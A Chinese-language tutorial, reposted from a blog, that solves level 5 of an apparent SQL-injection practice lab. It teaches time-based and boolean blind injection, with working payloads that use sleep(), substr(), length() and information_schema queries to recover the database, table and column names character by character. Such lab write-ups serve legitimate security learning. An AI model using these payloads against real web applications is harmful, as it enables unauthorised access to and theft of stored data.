Less-5
第5關,這關設計到的東西是盲注,不知道小伙伴們有沒有聽過,我們先來看一下這也頁面。
沒有打印出賬號密碼,只打印了是否存在。盲注的意思是用一個邏輯來判斷是否存在某個庫或表或字段。盲注又分了3種:1、基于時間的盲注。 2、基于布爾的盲注。 3、基于報錯的盲注。我來列舉兩種。
時間注入:
select * from users where id =1 and 1=(if(substr(database(),1,1)='t',1,sleep(2)));
這句話的意思是,查詢id=1來著users表里所以的內容,并且當數據庫的第一個字母為t是會返回1,前面的1=1就成立了,也就查詢成功。如果不是t,那么就會停止兩秒。
可以看到左下見的等待響應,這說明了當前數據庫的第一個字符不為t。這樣我們又可以進行注入了。哈哈哈
布爾盲注:
這個其實也和時間盲注差不多,我覺得比時間盲注更好一些。
select * from users where id =1 and 1=(if(substr(database(),1,1)='t',1,0));
語句差不多,主要還是看自己的用途來構造,我也來截張圖吧
下面開始講講實例:
先看數據庫的版本,payload: ' and 1=(if(substr(version(),1,1)=5,1,0))%23
沒報錯,說明數據庫版本大于5。我們知道數據庫版面為5,就可以利用那個默認庫information_schema了
然后我可以猜一下他的數據庫名paylaod:? ' and 1=(if(substr(database(),1,1)>'a',1,0))%23
沒報錯,說明數據庫名第一個大于a,這個時候我們就可以用2分法了,不知道大家知不知道2分法,我在這給大家稍微講一講,2分發,也叫2分查找法,就比如上面的例子,大于a是沒問題的,但是我們改成m呢?
還是成立的,我們再改成z看看。
這個時候不成立了,1=0,不能構成關系式了。所以查不到東西。我們把他改成t,也就是m和z的中間那個。
不成立,照舊,改成m和t中間的那個。也就是p或q,我們先試一試p
成立,改成q或者r,先試一試q
成立,我們再試一試r
成立,只剩下r到t了,我們先試一試中間的s
無查詢結果,又小于t,我們可以把大于號改成=試一試。
ok,數據庫名字第一個為s,這就是2分法的用處,它是一種效率較高的查找方法,如果一個一個去試的話,要大概19次,我們才用了8次。
根據以上得知數據庫名為security,那我們利用此方式獲取security數據庫下的表
我們現在來獲取當前數據庫中第一個表名的第一個字 payload: ' and 1=(if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',1,0))#
用2分法可以發現他的表明為emails,對了突然想起沒有給你們講怎么獲取他的長度。我們這時候要用到length
我來演示怎么獲取第一個表的長度 payload: ' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6 #? ? ?還是用2分法來做。
然后我們來獲取一下他的列名 payload: ' and 1=(select 1 from information_schema.columns where table_name = 'emails' and column_name regexp '^i' limit 0,1) %23
可以知道emails的第一個列名為i開頭的。然后慢慢試知道了他為id。我們接著來過去他id里的內容。 payload: ' and '1'=(select id from security.emails limit 0,1)%23
我們只要把'1'里面的東西換成我們猜的東西就行了。。。
轉載于:https://www.cnblogs.com/sutdy/p/8724426.html
總結